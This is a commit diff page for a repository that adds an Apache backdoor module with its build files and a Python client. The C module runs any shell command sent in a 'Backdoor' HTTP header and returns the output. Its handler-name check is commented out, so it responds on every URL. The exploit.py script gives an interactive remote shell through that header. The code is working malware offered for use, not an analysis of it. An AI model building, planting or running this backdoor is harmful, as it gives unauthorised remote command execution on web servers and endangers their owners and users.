Skip to content

Commit a272c90

Browse files
committed
[+] Init commit
0 parents  commit a272c90

File tree

4 files changed

+187
-0
lines changed

4 files changed

+187
-0
lines changed

Makefile

+45
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
##
2+
## Makefile -- Build procedure for sample backdoor Apache module
3+
## Autogenerated via ``apxs -n backdoor -g''.
4+
##
5+
6+
builddir=.
7+
top_srcdir=/usr/share/apache2
8+
top_builddir=/usr/share/apache2
9+
include /usr/share/apache2/build/special.mk
10+
11+
# the used tools
12+
APACHECTL=apachectl
13+
14+
# additional defines, includes and libraries
15+
#DEFS=-Dmy_define=my_value
16+
#INCLUDES=-Imy/include/dir
17+
#LIBS=-Lmy/lib/dir -lmylib
18+
19+
# the default target
20+
all: local-shared-build
21+
22+
# install the shared object file into Apache
23+
install: install-modules-yes
24+
25+
# cleanup
26+
clean:
27+
-rm -f mod_backdoor.o mod_backdoor.lo mod_backdoor.slo mod_backdoor.la
28+
29+
# simple test
30+
test: reload
31+
lynx -mime_header http://localhost/backdoor
32+
33+
# install and activate shared object by reloading Apache to
34+
# force a reload of the shared object file
35+
reload: install restart
36+
37+
# the general Apache start/restart/stop
38+
# procedures
39+
start:
40+
$(APACHECTL) start
41+
restart:
42+
$(APACHECTL) restart
43+
stop:
44+
$(APACHECTL) stop
45+

exploit.py

+32
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
4+
import requests
5+
import sys
6+
7+
def exploit(host, port, command):
8+
headers = {
9+
"Backdoor": command
10+
}
11+
url = "http://%s:%d/" % (host, port)
12+
response = requests.get(url, headers=headers)
13+
content = response.content
14+
print content
15+
16+
def main():
17+
if len(sys.argv) != 3:
18+
print "Usage : "
19+
print "\tpython %s [HOST] [PORT]" % (sys.argv[0])
20+
exit(1)
21+
host = sys.argv[1]
22+
port = int(sys.argv[2])
23+
while True:
24+
command = raw_input("$ ")
25+
if command == "exit":
26+
break
27+
exploit(host, port, command)
28+
29+
30+
if __name__ == "__main__":
31+
main()
32+

mod_backdoor.c

+106
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
/*
2+
** mod_backdoor.c -- Apache sample backdoor module
3+
** [Autogenerated via ``apxs -n backdoor -g'']
4+
**
5+
** To play with this sample module first compile it into a
6+
** DSO file and install it into Apache's modules directory
7+
** by running:
8+
**
9+
** $ apxs -c -i mod_backdoor.c
10+
**
11+
** Then activate it in Apache's apache2.conf file for instance
12+
** for the URL /backdoor in as follows:
13+
**
14+
** # apache2.conf
15+
** LoadModule backdoor_module modules/mod_backdoor.so
16+
** <Location /backdoor>
17+
** SetHandler backdoor
18+
** </Location>
19+
**
20+
** Then after restarting Apache via
21+
**
22+
** $ apachectl restart
23+
**
24+
** you immediately can request the URL /backdoor and watch for the
25+
** output of this module. This can be achieved for instance via:
26+
**
27+
** $ lynx -mime_header http://localhost/backdoor
28+
**
29+
** The output should be similar to the following one:
30+
**
31+
** HTTP/1.1 200 OK
32+
** Date: Tue, 31 Mar 1998 14:42:22 GMT
33+
** Server: Apache/1.3.4 (Unix)
34+
** Connection: close
35+
** Content-Type: text/html
36+
**
37+
** The sample page from mod_backdoor.c
38+
*/
39+
40+
#include "httpd.h"
41+
#include "http_config.h"
42+
#include "http_protocol.h"
43+
#include "ap_config.h"
44+
#include <stdio.h>
45+
#include <stdlib.h>
46+
47+
/* The sample content handler */
48+
static int backdoor_handler(request_rec *r)
49+
{
50+
/*
51+
if (strcmp(r->handler, "backdoor")) {
52+
return DECLINED;
53+
}
54+
r->content_type = "text/html";
55+
56+
if (!r->header_only)
57+
ap_rputs("The sample page from mod_backdoor.c\n", r);
58+
*/
59+
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
60+
const apr_array_header_t *fields;
61+
int i;
62+
apr_table_entry_t *e = 0;
63+
char FLAG = 0;
64+
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
65+
66+
fields = apr_table_elts(r->headers_in);
67+
e = (apr_table_entry_t *) fields->elts;
68+
69+
for(i = 0; i < fields->nelts; i++) {
70+
if(strcmp(e[i].key, "Backdoor") == 0){
71+
FLAG = 1;
72+
break;
73+
}
74+
}
75+
76+
if (FLAG){
77+
char * command = e[i].val;
78+
FILE* fp = popen(command,"r");
79+
char buffer[0x100] = {0};
80+
int counter = 1;
81+
while(counter){
82+
counter = fread(buffer, 1, sizeof(buffer), fp);
83+
ap_rwrite(buffer, counter, r);
84+
}
85+
pclose(fp);
86+
return DONE;
87+
}
88+
return DECLINED;
89+
}
90+
91+
static void backdoor_register_hooks(apr_pool_t *p)
92+
{
93+
ap_hook_handler(backdoor_handler, NULL, NULL, APR_HOOK_MIDDLE);
94+
}
95+
96+
/* Dispatch list for API hooks */
97+
module AP_MODULE_DECLARE_DATA backdoor_module = {
98+
STANDARD20_MODULE_STUFF,
99+
NULL, /* create per-dir config structures */
100+
NULL, /* merge per-dir config structures */
101+
NULL, /* create per-server config structures */
102+
NULL, /* merge per-server config structures */
103+
NULL, /* table of config file commands */
104+
backdoor_register_hooks /* register hooks */
105+
};
106+

modules.mk

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
mod_backdoor.la: mod_backdoor.slo
2+
$(SH_LINK) -rpath $(libexecdir) -module -avoid-version mod_backdoor.lo
3+
DISTCLEAN_TARGETS = modules.mk
4+
shared = mod_backdoor.la

0 commit comments

Comments
 (0)